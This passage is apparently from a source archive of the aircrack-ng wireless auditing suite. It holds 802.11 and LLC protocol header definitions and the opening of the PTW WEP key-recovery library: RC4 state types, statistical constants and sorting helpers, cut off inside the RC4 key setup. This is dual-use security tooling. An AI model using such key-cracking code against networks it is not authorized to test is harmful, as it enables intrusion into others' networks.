THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/net80211/ieee80211.h,v 1.12 2006/12/01 18:40:51 imp Exp $ */ #ifndef _NET80211_IEEE80211_H_ #define _NET80211_IEEE80211_H_ /* * 802.11 protocol definitions. */ #define IEEE80211_ADDR_LEN 6 /* size of 802.11 address */ /* is 802.11 address multicast/broadcast? */ #define IEEE80211_IS_MULTICAST(_a) (*(_a) & 0x01) /* IEEE 802.11 PLCP header */ struct ieee80211_plcp_hdr { u_int16_t i_sfd; u_int8_t i_signal; u_int8_t i_service; u_int16_t i_length; u_int16_t i_crc; } __packed; #define IEEE80211_PLCP_SFD 0xF3A0 #define IEEE80211_PLCP_SERVICE 0x00 /* * generic definitions for IEEE 802.11 frames */ struct ieee80211_frame { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qosframe { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_qos[2]; /* possibly followed by addr4[IEEE80211_ADDR_LEN]; */ /* see below */ } __packed; struct ieee80211_qoscntl { u_int8_t i_qos[2]; }; struct ieee80211_frame_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_addr4[IEEE80211_ADDR_LEN]; } __packed; struct ieee80211_qosframe_addr4 { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; u_int8_t i_addr3[IEEE80211_ADDR_LEN]; u_int8_t i_seq[2]; u_int8_t i_addr4[IEEE80211_ADDR_LEN]; u_int8_t i_qos[2]; } __packed; #define IEEE80211_FC0_VERSION_MASK 0x03 #define IEEE80211_FC0_VERSION_SHIFT 0 #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_FC0_TYPE_MASK 0x0c #define IEEE80211_FC0_TYPE_SHIFT 2 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_TYPE_CTL 0x04 #define IEEE80211_FC0_TYPE_DATA 0x08 #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_MGT */ #define IEEE80211_FC0_SUBTYPE_ASSOC_REQ 0x00 #define IEEE80211_FC0_SUBTYPE_ASSOC_RESP 0x10 #define IEEE80211_FC0_SUBTYPE_REASSOC_REQ 0x20 #define IEEE80211_FC0_SUBTYPE_REASSOC_RESP 0x30 #define IEEE80211_FC0_SUBTYPE_PROBE_REQ 0x40 #define IEEE80211_FC0_SUBTYPE_PROBE_RESP 0x50 #define IEEE80211_FC0_SUBTYPE_BEACON 0x80 #define IEEE80211_FC0_SUBTYPE_ATIM 0x90 #define IEEE80211_FC0_SUBTYPE_DISASSOC 0xa0 #define IEEE80211_FC0_SUBTYPE_AUTH 0xb0 #define IEEE80211_FC0_SUBTYPE_DEAUTH 0xc0 /* for TYPE_CTL */ #define IEEE80211_FC0_SUBTYPE_PS_POLL 0xa0 #define IEEE80211_FC0_SUBTYPE_RTS 0xb0 #define IEEE80211_FC0_SUBTYPE_CTS 0xc0 #define IEEE80211_FC0_SUBTYPE_ACK 0xd0 #define IEEE80211_FC0_SUBTYPE_CF_END 0xe0 #define IEEE80211_FC0_SUBTYPE_CF_END_ACK 0xf0 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_DATA 0x00 #define IEEE80211_FC0_SUBTYPE_CF_ACK 0x10 #define IEEE80211_FC0_SUBTYPE_CF_POLL 0x20 #define IEEE80211_FC0_SUBTYPE_CF_ACPL 0x30 #define IEEE80211_FC0_SUBTYPE_NODATA 0x40 #define IEEE80211_FC0_SUBTYPE_CFACK 0x50 #define IEEE80211_FC0_SUBTYPE_CFPOLL 0x60 #define IEEE80211_FC0_SUBTYPE_CF_ACK_CF_ACK 0x70 #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 #define IEEE80211_FC1_DIR_MASK 0x03 #define IEEE80211_FC1_DIR_NODS 0x00 /* STA->STA */ #define IEEE80211_FC1_DIR_TODS 0x01 /* STA->AP */ #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define IEEE80211_FC1_DIR_DSTODS 0x03 /* AP ->AP */ #define IEEE80211_FC1_MORE_FRAG 0x04 #define IEEE80211_FC1_RETRY 0x08 #define IEEE80211_FC1_PWR_MGT 0x10 #define IEEE80211_FC1_MORE_DATA 0x20 #define IEEE80211_FC1_WEP 0x40 #define IEEE80211_FC1_ORDER 0x80 #define IEEE80211_SEQ_FRAG_MASK 0x000f #define IEEE80211_SEQ_FRAG_SHIFT 0 #define IEEE80211_SEQ_SEQ_MASK 0xfff0 #define IEEE80211_SEQ_SEQ_SHIFT 4 #define IEEE80211_NWID_LEN 32 #define IEEE80211_QOS_TXOP 0x00ff /* bit 8 is reserved */ #define IEEE80211_QOS_ACKPOLICY 0x60 #define IEEE80211_QOS_ACKPOLICY_S 5 #define IEEE80211_QOS_ESOP 0x10 #define IEEE80211_QOS_ESOP_S 4 #define IEEE80211_QOS_TID 0x0f /* does frame have QoS sequence control data */ #define IEEE80211_QOS_HAS_SEQ(wh) \ (((wh)->i_fc[0] & \ (IEEE80211_FC0_TYPE_MASK | IEEE80211_FC0_SUBTYPE_QOS)) == \ (IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_QOS)) /* * WME/802.11e information element. */ struct ieee80211_wme_info { u_int8_t wme_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wme_len; /* length in bytes */ u_int8_t wme_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wme_type; /* OUI type */ u_int8_t wme_subtype; /* OUI subtype */ u_int8_t wme_version; /* spec revision */ u_int8_t wme_info; /* QoS info */ } __packed; /* * WME/802.11e Tspec Element */ struct ieee80211_wme_tspec { u_int8_t ts_id; u_int8_t ts_len; u_int8_t ts_oui[3]; u_int8_t ts_oui_type; u_int8_t ts_oui_subtype; u_int8_t ts_version; u_int8_t ts_tsinfo[3]; u_int8_t ts_nom_msdu[2]; u_int8_t ts_max_msdu[2]; u_int8_t ts_min_svc[4]; u_int8_t ts_max_svc[4]; u_int8_t ts_inactv_intv[4]; u_int8_t ts_susp_intv[4]; u_int8_t ts_start_svc[4]; u_int8_t ts_min_rate[4]; u_int8_t ts_mean_rate[4]; u_int8_t ts_max_burst[4]; u_int8_t ts_min_phy[4]; u_int8_t ts_peak_rate[4]; u_int8_t ts_delay[4]; u_int8_t ts_surplus[2]; u_int8_t ts_medium_time[2]; } __packed; /* * WME AC parameter field */ struct ieee80211_wme_acparams { u_int8_t acp_aci_aifsn; u_int8_t acp_logcwminmax; u_int16_t acp_txop; } __packed; #define WME_NUM_AC 4 /* 4 AC categories */ #define WME_PARAM_ACI 0x60 /* Mask for ACI field */ #define WME_PARAM_ACI_S 5 /* Shift for ACI field */ #define WME_PARAM_ACM 0x10 /* Mask for ACM bit */ #define WME_PARAM_ACM_S 4 /* Shift for ACM bit */ #define WME_PARAM_AIFSN 0x0f /* Mask for aifsn field */ #define WME_PARAM_AIFSN_S 0 /* Shift for aifsn field */ #define WME_PARAM_LOGCWMIN 0x0f /* Mask for CwMin field (in log) */ #define WME_PARAM_LOGCWMIN_S 0 /* Shift for CwMin field */ #define WME_PARAM_LOGCWMAX 0xf0 /* Mask for CwMax field (in log) */ #define WME_PARAM_LOGCWMAX_S 4 /* Shift for CwMax field */ #define WME_AC_TO_TID(_ac) ( \ ((_ac) == WME_AC_VO) ? 6 : \ ((_ac) == WME_AC_VI) ? 5 : \ ((_ac) == WME_AC_BK) ? 1 : \ 0) #define TID_TO_WME_AC(_tid) ( \ ((_tid) < 1) ? WME_AC_BE : \ ((_tid) < 3) ? WME_AC_BK : \ ((_tid) < 6) ? WME_AC_VI : \ WME_AC_VO) /* * WME Parameter Element */ struct ieee80211_wme_param { u_int8_t param_id; u_int8_t param_len; u_int8_t param_oui[3]; u_int8_t param_oui_type; u_int8_t param_oui_sybtype; u_int8_t param_version; u_int8_t param_qosInfo; #define WME_QOSINFO_COUNT 0x0f /* Mask for param count field */ u_int8_t param_reserved; struct ieee80211_wme_acparams params_acParams[WME_NUM_AC]; } __packed; /* * Management Notification Frame */ struct ieee80211_mnf { u_int8_t mnf_category; u_int8_t mnf_action; u_int8_t mnf_dialog; u_int8_t mnf_status; } __packed; #define MNF_SETUP_REQ 0 #define MNF_SETUP_RESP 1 #define MNF_TEARDOWN 2 /* * Control frames. */ struct ieee80211_frame_min { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_addr1[IEEE80211_ADDR_LEN]; u_int8_t i_addr2[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_rts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cts { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_ack { u_int8_t i_fc[2]; u_int8_t i_dur[2]; u_int8_t i_ra[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_pspoll { u_int8_t i_fc[2]; u_int8_t i_aid[2]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; u_int8_t i_ta[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; struct ieee80211_frame_cfend { /* NB: also CF-End+CF-Ack */ u_int8_t i_fc[2]; u_int8_t i_dur[2]; /* should be zero */ u_int8_t i_ra[IEEE80211_ADDR_LEN]; u_int8_t i_bssid[IEEE80211_ADDR_LEN]; /* FCS */ } __packed; /* * BEACON management packets * * octet timestamp[8] * octet beacon interval[2] * octet capability information[2] * information element * octet elemid * octet length * octet information[length] */ typedef u_int8_t *ieee80211_mgt_beacon_t; #define IEEE80211_BEACON_INTERVAL(beacon) \ ((beacon)[8] | ((beacon)[9] << 8)) #define IEEE80211_BEACON_CAPABILITY(beacon) \ ((beacon)[10] | ((beacon)[11] << 8)) #define IEEE80211_CAPINFO_ESS 0x0001 #define IEEE80211_CAPINFO_IBSS 0x0002 #define IEEE80211_CAPINFO_CF_POLLABLE 0x0004 #define IEEE80211_CAPINFO_CF_POLLREQ 0x0008 #define IEEE80211_CAPINFO_PRIVACY 0x0010 #define IEEE80211_CAPINFO_SHORT_PREAMBLE 0x0020 #define IEEE80211_CAPINFO_PBCC 0x0040 #define IEEE80211_CAPINFO_CHNL_AGILITY 0x0080 /* bits 8-9 are reserved */ #define IEEE80211_CAPINFO_SHORT_SLOTTIME 0x0400 #define IEEE80211_CAPINFO_RSN 0x0800 /* bit 12 is reserved */ #define IEEE80211_CAPINFO_DSSSOFDM 0x2000 /* bits 14-15 are reserved */ /* * 802.11i/WPA information element (maximally sized). */ struct ieee80211_ie_wpa { u_int8_t wpa_id; /* IEEE80211_ELEMID_VENDOR */ u_int8_t wpa_len; /* length in bytes */ u_int8_t wpa_oui[3]; /* 0x00, 0x50, 0xf2 */ u_int8_t wpa_type; /* OUI type */ u_int16_t wpa_version; /* spec revision */ u_int32_t wpa_mcipher[1]; /* multicast/group key cipher */ u_int16_t wpa_uciphercnt; /* # pairwise key ciphers */ u_int32_t wpa_uciphers[8];/* ciphers */ u_int16_t wpa_authselcnt; /* authentication selector cnt*/ u_int32_t wpa_authsels[8];/* selectors */ u_int16_t wpa_caps; /* 802.11i capabilities */ u_int16_t wpa_pmkidcnt; /* 802.11i pmkid count */ u_int16_t wpa_pmkids[8]; /* 802.11i pmkids */ } __packed; /* * Management information element payloads. */ enum { IEEE80211_ELEMID_SSID = 0, IEEE80211_ELEMID_RATES = 1, IEEE80211_ELEMID_FHPARMS = 2, IEEE80211_ELEMID_DSPARMS = 3, IEEE80211_ELEMID_CFPARMS = 4, IEEE80211_ELEMID_TIM = 5, IEEE80211_ELEMID_IBSSPARMS = 6, IEEE80211_ELEMID_COUNTRY = 7, IEEE80211_ELEMID_CHALLENGE = 16, /* 17-31 reserved for challenge text extension */ IEEE80211_ELEMID_ERP = 42, IEEE80211_ELEMID_RSN = 48, IEEE80211_ELEMID_XRATES = 50, IEEE80211_ELEMID_TPC = 150, IEEE80211_ELEMID_CCKM = 156, IEEE80211_ELEMID_VENDOR = 221, /* vendor private */ }; struct ieee80211_tim_ie { u_int8_t tim_ie; /* IEEE80211_ELEMID_TIM */ u_int8_t tim_len; u_int8_t tim_count; /* DTIM count */ u_int8_t tim_period; /* DTIM period */ u_int8_t tim_bitctl; /* bitmap control */ u_int8_t tim_bitmap[1]; /* variable-length bitmap */ } __packed; struct ieee80211_country_ie { u_int8_t ie; /* IEEE80211_ELEMID_COUNTRY */ u_int8_t len; u_int8_t cc[3]; /* ISO CC+(I)ndoor/(O)utdoor */ struct { u_int8_t schan; /* starting channel */ u_int8_t nchan; /* number channels */ u_int8_t maxtxpwr; /* tx power cap */ } __packed band[4]; /* up to 4 sub bands */ } __packed; #define IEEE80211_CHALLENGE_LEN 128 #define IEEE80211_RATE_BASIC 0x80 #define IEEE80211_RATE_VAL 0x7f /* EPR information element flags */ #define IEEE80211_ERP_NON_ERP_PRESENT 0x01 #define IEEE80211_ERP_USE_PROTECTION 0x02 #define IEEE80211_ERP_LONG_PREAMBLE 0x04 /* Atheros private advanced capabilities info */ #define ATHEROS_CAP_TURBO_PRIME 0x01 #define ATHEROS_CAP_COMPRESSION 0x02 #define ATHEROS_CAP_FAST_FRAME 0x04 /* bits 3-6 reserved */ #define ATHEROS_CAP_BOOST 0x80 #define ATH_OUI 0x7f0300 /* Atheros OUI */ #define ATH_OUI_TYPE 0x01 #define ATH_OUI_VERSION 0x01 #define WPA_OUI 0xf25000 #define WPA_OUI_TYPE 0x01 #define WPA_VERSION 1 /* current supported version */ #define WPA_CSE_NULL 0x00 #define WPA_CSE_WEP40 0x01 #define WPA_CSE_TKIP 0x02 #define WPA_CSE_CCMP 0x04 #define WPA_CSE_WEP104 0x05 #define WPA_ASE_NONE 0x00 #define WPA_ASE_8021X_UNSPEC 0x01 #define WPA_ASE_8021X_PSK 0x02 #define RSN_OUI 0xac0f00 #define RSN_VERSION 1 /* current supported version */ #define RSN_CSE_NULL 0x00 #define RSN_CSE_WEP40 0x01 #define RSN_CSE_TKIP 0x02 #define RSN_CSE_WRAP 0x03 #define RSN_CSE_CCMP 0x04 #define RSN_CSE_WEP104 0x05 #define RSN_ASE_NONE 0x00 #define RSN_ASE_8021X_UNSPEC 0x01 #define RSN_ASE_8021X_PSK 0x02 #define RSN_CAP_PREAUTH 0x01 #define WME_OUI 0xf25000 #define WME_OUI_TYPE 0x02 #define WME_INFO_OUI_SUBTYPE 0x00 #define WME_PARAM_OUI_SUBTYPE 0x01 #define WME_VERSION 1 /* WME stream classes */ #define WME_AC_BE 0 /* best effort */ #define WME_AC_BK 1 /* background */ #define WME_AC_VI 2 /* video */ #define WME_AC_VO 3 /* voice */ /* * AUTH management packets * * octet algo[2] * octet seq[2] * octet status[2] * octet chal.id * octet chal.length * octet chal.text[253] */ typedef u_int8_t *ieee80211_mgt_auth_t; #define IEEE80211_AUTH_ALGORITHM(auth) \ ((auth)[0] | ((auth)[1] << 8)) #define IEEE80211_AUTH_TRANSACTION(auth) \ ((auth)[2] | ((auth)[3] << 8)) #define IEEE80211_AUTH_STATUS(auth) \ ((auth)[4] | ((auth)[5] << 8)) #define IEEE80211_AUTH_ALG_OPEN 0x0000 #define IEEE80211_AUTH_ALG_SHARED 0x0001 #define IEEE80211_AUTH_ALG_LEAP 0x0080 enum { IEEE80211_AUTH_OPEN_REQUEST = 1, IEEE80211_AUTH_OPEN_RESPONSE = 2, }; enum { IEEE80211_AUTH_SHARED_REQUEST = 1, IEEE80211_AUTH_SHARED_CHALLENGE = 2, IEEE80211_AUTH_SHARED_RESPONSE = 3, IEEE80211_AUTH_SHARED_PASS = 4, }; /* * Reason codes * * Unlisted codes are reserved */ enum { IEEE80211_REASON_UNSPECIFIED = 1, IEEE80211_REASON_AUTH_EXPIRE = 2, IEEE80211_REASON_AUTH_LEAVE = 3, IEEE80211_REASON_ASSOC_EXPIRE = 4, IEEE80211_REASON_ASSOC_TOOMANY = 5, IEEE80211_REASON_NOT_AUTHED = 6, IEEE80211_REASON_NOT_ASSOCED = 7, IEEE80211_REASON_ASSOC_LEAVE = 8, IEEE80211_REASON_ASSOC_NOT_AUTHED = 9, IEEE80211_REASON_RSN_REQUIRED = 11, IEEE80211_REASON_RSN_INCONSISTENT = 12, IEEE80211_REASON_IE_INVALID = 13, IEEE80211_REASON_MIC_FAILURE = 14, IEEE80211_STATUS_SUCCESS = 0, IEEE80211_STATUS_UNSPECIFIED = 1, IEEE80211_STATUS_CAPINFO = 10, IEEE80211_STATUS_NOT_ASSOCED = 11, IEEE80211_STATUS_OTHER = 12, IEEE80211_STATUS_ALG = 13, IEEE80211_STATUS_SEQUENCE = 14, IEEE80211_STATUS_CHALLENGE = 15, IEEE80211_STATUS_TIMEOUT = 16, IEEE80211_STATUS_TOOMANY = 17, IEEE80211_STATUS_BASIC_RATE = 18, IEEE80211_STATUS_SP_REQUIRED = 19, IEEE80211_STATUS_PBCC_REQUIRED = 20, IEEE80211_STATUS_CA_REQUIRED = 21, IEEE80211_STATUS_TOO_MANY_STATIONS = 22, IEEE80211_STATUS_RATES = 23, IEEE80211_STATUS_SHORTSLOT_REQUIRED = 25, IEEE80211_STATUS_DSSSOFDM_REQUIRED = 26, }; #define IEEE80211_WEP_KEYLEN 5 /* 40bit */ #define IEEE80211_WEP_IVLEN 3 /* 24bit */ #define IEEE80211_WEP_KIDLEN 1 /* 1 octet */ #define IEEE80211_WEP_CRCLEN 4 /* CRC-32 */ #define IEEE80211_WEP_NKID 4 /* number of key ids */ /* * 802.11i defines an extended IV for use with non-WEP ciphers. * When the EXTIV bit is set in the key id byte an additional * 4 bytes immediately follow the IV for TKIP. For CCMP the * EXTIV bit is likewise set but the 8 bytes represent the * CCMP header rather than IV+extended-IV. */ #define IEEE80211_WEP_EXTIV 0x20 #define IEEE80211_WEP_EXTIVLEN 4 /* extended IV length */ #define IEEE80211_WEP_MICLEN 8 /* trailing MIC */ #define IEEE80211_CRC_LEN 4 /* * Maximum acceptable MTU is: * IEEE80211_MAX_LEN - WEP overhead - CRC - * QoS overhead - RSN/WPA overhead * Min is arbitrarily chosen > IEEE80211_MIN_LEN. The default * mtu is Ethernet-compatible; it's set by ether_ifattach. */ #define IEEE80211_MTU_MAX 2290 #define IEEE80211_MTU_MIN 32 #define IEEE80211_MAX_LEN (2300 + IEEE80211_CRC_LEN + \ (IEEE80211_WEP_IVLEN + IEEE80211_WEP_KIDLEN + IEEE80211_WEP_CRCLEN)) #define IEEE80211_ACK_LEN \ (sizeof(struct ieee80211_frame_ack) + IEEE80211_CRC_LEN) #define IEEE80211_MIN_LEN \ (sizeof(struct ieee80211_frame_min) + IEEE80211_CRC_LEN) /* * The 802.11 spec says at most 2007 stations may be * associated at once. For most AP's this is way more * than is feasible so we use a default of 128. This * number may be overridden by the driver and/or by * user configuration. */ #define IEEE80211_AID_MAX 2007 #define IEEE80211_AID_DEF 128 #define IEEE80211_AID(b) ((b) &~ 0xc000) /* * RTS frame length parameters. The default is specified in * the 802.11 spec as 512; we treat it as implementation-dependent * so it's defined in ieee80211_var.h. The max may be wrong * for jumbo frames. */ #define IEEE80211_RTS_MIN 1 #define IEEE80211_RTS_MAX 2346 /* * TX fragmentation parameters. As above for RTS, we treat * default as implementation-dependent so define it elsewhere. */ #define IEEE80211_FRAG_MIN 256 #define IEEE80211_FRAG_MAX 2346 /* * Beacon interval (TU's). Min+max come from WiFi requirements. * As above, we treat default as implementation-dependent so * define it elsewhere. */ #define IEEE80211_BINTVAL_MAX 1000 /* max beacon interval (TU's) */ #define IEEE80211_BINTVAL_MIN 25 /* min beacon interval (TU's) */ /* * DTIM period (beacons). Min+max are not really defined * by the protocol but we want them publicly visible so * define them here. */ #define IEEE80211_DTIM_MAX 15 /* max DTIM period */ #define IEEE80211_DTIM_MIN 1 /* min DTIM period */ /* * Beacon miss threshold (beacons). As for DTIM, we define * them here to be publicly visible. Note the max may be * clamped depending on device capabilities. */ #define IEEE80211_HWBMISS_MIN 1 #define IEEE80211_HWBMISS_MAX 255 #endif /* _NET80211_IEEE80211_H_ */ aircrack-ng-1.1/src/include/if_llc.h0000644000000000000000000001105410761053203016043 0ustar rootroot/* $NetBSD: if_llc.h,v 1.12 1999/11/19 20:41:19 thorpej Exp $ */ /*- * Copyright (c) 1988, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_llc.h 8.1 (Berkeley) 6/10/93 * $FreeBSD: src/sys/net/if_llc.h,v 1.13 2006/12/01 17:50:11 imp Exp $ */ #ifndef _NET_IF_LLC_H_ #define _NET_IF_LLC_H_ /* * IEEE 802.2 Link Level Control headers, for use in conjunction with * 802.{3,4,5} media access control methods. * * Headers here do not use bit fields due to shortcommings in many * compilers. */ struct llc { u_int8_t llc_dsap; u_int8_t llc_ssap; union { struct { u_int8_t control; u_int8_t format_id; u_int8_t class; u_int8_t window_x2; } __packed type_u; struct { u_int8_t num_snd_x2; u_int8_t num_rcv_x2; } __packed type_i; struct { u_int8_t control; u_int8_t num_rcv_x2; } __packed type_s; struct { u_int8_t control; /* * We cannot put the following fields in a structure because * the structure rounding might cause padding. */ u_int8_t frmr_rej_pdu0; u_int8_t frmr_rej_pdu1; u_int8_t frmr_control; u_int8_t frmr_control_ext; u_int8_t frmr_cause; } __packed type_frmr; struct { u_int8_t control; u_int8_t org_code[3]; u_int16_t ether_type; } __packed type_snap; struct { u_int8_t control; u_int8_t control_ext; } __packed type_raw; } __packed llc_un; } __packed; struct frmrinfo { u_int8_t frmr_rej_pdu0; u_int8_t frmr_rej_pdu1; u_int8_t frmr_control; u_int8_t frmr_control_ext; u_int8_t frmr_cause; } __packed; #define llc_control llc_un.type_u.control #define llc_control_ext llc_un.type_raw.control_ext #define llc_fid llc_un.type_u.format_id #define llc_class llc_un.type_u.class #define llc_window llc_un.type_u.window_x2 #define llc_frmrinfo llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu0 llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu1 llc_un.type_frmr.frmr_rej_pdu1 #define llc_frmr_control llc_un.type_frmr.frmr_control #define llc_frmr_control_ext llc_un.type_frmr.frmr_control_ext #define llc_frmr_cause llc_un.type_frmr.frmr_cause #define llc_snap llc_un.type_snap /* * Don't use sizeof(struct llc_un) for LLC header sizes */ #define LLC_ISFRAMELEN 4 #define LLC_UFRAMELEN 3 #define LLC_FRMRLEN 7 #define LLC_SNAPFRAMELEN 8 #ifdef CTASSERT CTASSERT(sizeof (struct llc) == LLC_SNAPFRAMELEN); #endif /* * Unnumbered LLC format commands */ #define LLC_UI 0x3 #define LLC_UI_P 0x13 #define LLC_DISC 0x43 #define LLC_DISC_P 0x53 #define LLC_UA 0x63 #define LLC_UA_P 0x73 #define LLC_TEST 0xe3 #define LLC_TEST_P 0xf3 #define LLC_FRMR 0x87 #define LLC_FRMR_P 0x97 #define LLC_DM 0x0f #define LLC_DM_P 0x1f #define LLC_XID 0xaf #define LLC_XID_P 0xbf #define LLC_SABME 0x6f #define LLC_SABME_P 0x7f /* * Supervisory LLC commands */ #define LLC_RR 0x01 #define LLC_RNR 0x05 #define LLC_REJ 0x09 /* * Info format - dummy only */ #define LLC_INFO 0x00 /* * ISO PDTR 10178 contains among others */ #define LLC_8021D_LSAP 0x42 #define LLC_X25_LSAP 0x7e #define LLC_SNAP_LSAP 0xaa #define LLC_ISO_LSAP 0xfe #endif /* _NET_IF_LLC_H_ */ aircrack-ng-1.1/src/aircrack-ptw-lib.c0000644000000000000000000004306711177155267016346 0ustar rootroot/* * Copyright (c) 2007, 2008, 2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include "pcap.h" #include "aircrack-ptw-lib.h" #include "aircrack-ng.h" #define n PTW_n #define CONTROLSESSIONS PTW_CONTROLSESSIONS #define KSBYTES PTW_KSBYTES #define IVBYTES PTW_IVBYTES #define TESTBYTES 6 // Internal state of rc4 typedef struct { uint8_t i; uint8_t j; uint8_t s[n]; } rc4state; // Helper structures for sorting typedef struct { int keybyte; uint8_t value; int distance; } sorthelper; typedef struct { int keybyte; double difference; } doublesorthelper; // The rc4 initial state, the idendity permutation static const uint8_t rc4initial[] = {0,1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40, 41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,59,60, 61,62,63,64,65,66,67,68,69,70, 71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90, 91,92,93,94,95,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110, 111,112,113,114,115,116,117,118,119,120, 121,122,123,124,125,126,127,128,129,130, 131,132,133,134,135,136,137,138,139,140, 141,142,143,144,145,146,147,148,149,150, 151,152,153,154,155,156,157,158,159,160, 161,162,163,164,165,166,167,168,169,170, 171,172,173,174,175,176,177,178,179,180, 181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197,198,199,200, 201,202,203,204,205,206,207,208,209,210, 211,212,213,214,215,216,217,218,219,220, 221,222,223,224,225,226,227,228,229,230, 231,232,233,234,235,236,237,238,239,240, 241,242,243,244,245,246,247,248,249,250, 251,252,253,254,255}; // Values for p_correct_i static const double eval[] = { 0.00534392069257663, 0.00531787585068872, 0.00531345769225911, 0.00528812219217898, 0.00525997750378221, 0.00522647312237696, 0.00519132541143668, 0.0051477139367225, 0.00510438884847959, 0.00505484662057323, 0.00500502783556246, 0.00495094196451801, 0.0048983441590402}; int tried, max_tries; int depth[KEYHSBYTES]; PTW_tableentry keytable[KEYHSBYTES][n]; // For sorting static int compare(const void * ina, const void * inb) { PTW_tableentry * a = (PTW_tableentry * )ina; PTW_tableentry * b = (PTW_tableentry * )inb; if (a->votes > b->votes) { return -1; } else if (a->votes == b->votes) { return 0; } else { return 1; } } // For sorting static int comparedoublesorthelper(const void * ina, const void * inb) { doublesorthelper * a = (doublesorthelper * )ina; doublesorthelper * b = (doublesorthelper * )inb; if (a->difference > b->difference) { return 1; } else if (a->difference == b->difference) { return 0; } else { return -1; } } // RC4 key setup static void rc4init ( uint8_t * key, int keylen, rc4state * state) { int i; unsigned char j; uint8_t tmp; memcpy(state->s, &rc4initial, n); j = 0; for (i = 0; i < n; i++) { /* this should be: j = 